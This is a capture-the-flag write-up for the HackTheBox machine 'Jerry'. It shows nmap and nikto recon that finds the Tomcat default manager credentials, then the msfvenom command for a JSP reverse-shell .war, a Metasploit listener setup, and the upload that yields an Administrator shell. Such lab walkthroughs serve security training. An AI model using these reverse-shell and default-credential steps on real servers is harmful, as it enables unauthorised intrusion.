  1. Description

    2. Jerry was one of the easiest boxes i've done so far. It was very straight forward with no rabbit holes. Unfortunately there was no privilege escalation, as the user and root flag were together in the same file.

  2. Recon
    1. Nmap

      2. As always, we start out with some recon of the box. The default go to tool is Nmap to find open ports and their services:


      Used command:

      root@kali:~/Documents/htb/Jerry# nmap -sC -sV -oA jerry 10.10.10.95

      Output:

      Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-09 21:18 CET Nmap scan report for 10.10.10.95 Host is up (0.044s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION style="color:yellow;">8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/7.0.88

      As we can see, port 8080 is open, and is running Apache Tomcat 7.0.88. Surfing to the web page, we are presented with a default Tomcat page. Next, we want to enumerate the website for directories and/or possible vulnerabilities. A nice tool to do this with is Nikto.


    2. Nikto

      3. Used command:

      root@kali:~/Documents/htb/Jerry# nikto -h 10.10.10.95 -p 8080

      Output:

      Nikto found some default login credentials on 10.10.10.95:8080/manager/html

      Username: tomcat

      Password: s3cret


      With these credentials we got access to the Tomcat manager page, where we can upload .war files. We can use msfvenom to generate a .war shell that we can upload here.

  3. Exploitation

    4. After the shell is uploaded it can be executed, and it will connect back to our listener.

    1. Generating the shell

      2. Create the .war file with msfvenom. The shell we are going to use is a reverse JSP TCP shell.


      Command used:

      msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip> LPORT=<port> -f war > reverseshell.war

      The payload from the .war file will create a backdoor file inside it with a randomly generated string as a name. This is the file we're gonna browse to after the .war file is uploaded. After browsing to this file, the reverse connection will be established to our Kali machine. We can not browse to this file, if we do not know its name. We can run the following command to get the filename:

      Command used:

      root@kali:~/Documents/htb/Jerry# jar -xvf reverseshell.war

      Output:

      created: WEB-INF/ inflated: WEB-INF/web.xml inflated: djkwbjspxeqxnor.jsp

      According to the given output, the filename is djkwbjspxeqxnor.jsp


    2. Setting up our listener

      3. Next we want to set up our listener for the incoming connection. We will use Metasploit's multi/handler for this.


      Commands used:

      root@kali: msfconsole msf> use exploit multi/handler msf> set payload java/jsp_shell_reverse_tcp msf> set LHOST <local IP> msf> set LPORT <local port> msf> set ExitOnSession false msf> exploit -j

      The -j parameter will keep the connected session in the background.


    3. Upload the shell to Tomcat.

      4. Login with the default credentials on the Tomcat manager page, and upload your .war file.


    4. Execute the payload

      5. To execute the payload to connect back to our listener, we must browse to the .jsp file we generated in step 1. The URL to browse to will be:

      http://10.10.10.95:8080/<Name of .war file>/<Name of .jsp file> http://10.10.10.95:8080/reverseshell/djkwbjspxeqxnor.jsp

      Back on Kali, we will be presented with an Administrator shell. We can now read the file that will contain both user.txt and root.txt.

      C:\Users\Administrator\Desktop\flags>more "2 for the price of 1.txt"
